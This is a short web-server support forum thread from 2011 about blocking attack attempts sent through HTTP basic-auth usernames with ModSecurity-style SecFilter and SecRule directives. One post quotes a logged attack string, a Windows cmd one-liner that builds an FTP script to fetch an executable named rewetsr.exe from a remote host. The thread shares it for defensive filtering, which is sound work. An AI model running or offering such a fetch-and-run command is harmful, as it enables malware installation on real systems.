LiteSpeed Technologies
Download Download     Blog Blog     Wiki Wiki     Forum Forum     Store     Contact Contact    

Go Back   LiteSpeed Support Forums > LiteSpeed Web Server > Install/Configuration > Filtering Hack Attempts Via Http Auth

Reply
 
Thread Tools Display Modes
  #1  
Old 02-04-2011, 05:40 AM
kule kule is offline
Member
 
Join Date: Oct 2008
Posts: 20
Default Filtering Hack Attempts Via Http Auth

Is there a way I can filter attempts to hack via http auth? I'm getting http auth requests which are trying to use SQL Injection with the login/username.

It's not getting anywhere but I would like to stop the request before it reaches the application if possible? I tried using SecFilter but that doesn't seem to stop it (I assume that it's just looking at the actual request string rather than the http auth details)

EDIT: Apologies, feel free to move this in to general. I didn't mean to put this in Features/Feedback
Reply With Quote
  #2  
Old 02-04-2011, 09:47 AM
mistwang mistwang is offline
LiteSpeed Staff
 
Join Date: May 2003
Location: New Jersey
Posts: 7,590
what secfilter rule you used? it should work, it can match pattern against any http request header.
Reply With Quote
  #3  
Old 02-05-2011, 12:24 AM
kule kule is offline
Member
 
Join Date: Oct 2008
Posts: 20
I was using

SecFilter "rewetsr"

This is the command that was coming through (after a load of unicode characters):

cmd /c echo open 1.1.1.1 21 > o&echo user 1 1 >> o &echo get rewetsr.exe >> o &echo quit >> o &ftp -n -s'
Reply With Quote
  #4  
Old 02-08-2011, 08:30 AM
mistwang mistwang is offline
LiteSpeed Staff
 
Join Date: May 2003
Location: New Jersey
Posts: 7,590
use SecFilterSelective or new "SecRule" directive.
Reply With Quote
  #5  
Old 02-08-2011, 04:28 PM
kule kule is offline
Member
 
Join Date: Oct 2008
Posts: 20
Ok so if I read this right something like:

SecRule REMOTE_USER "rewetsr" log,deny,status:403
Reply With Quote
Reply

Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off

Forum Jump


All times are GMT -7. The time now is 03:53 PM.



- Archive - Top
© Copyright 2003-2011 LiteSpeed Technologies, Inc. All rights reserved. Privacy Policy.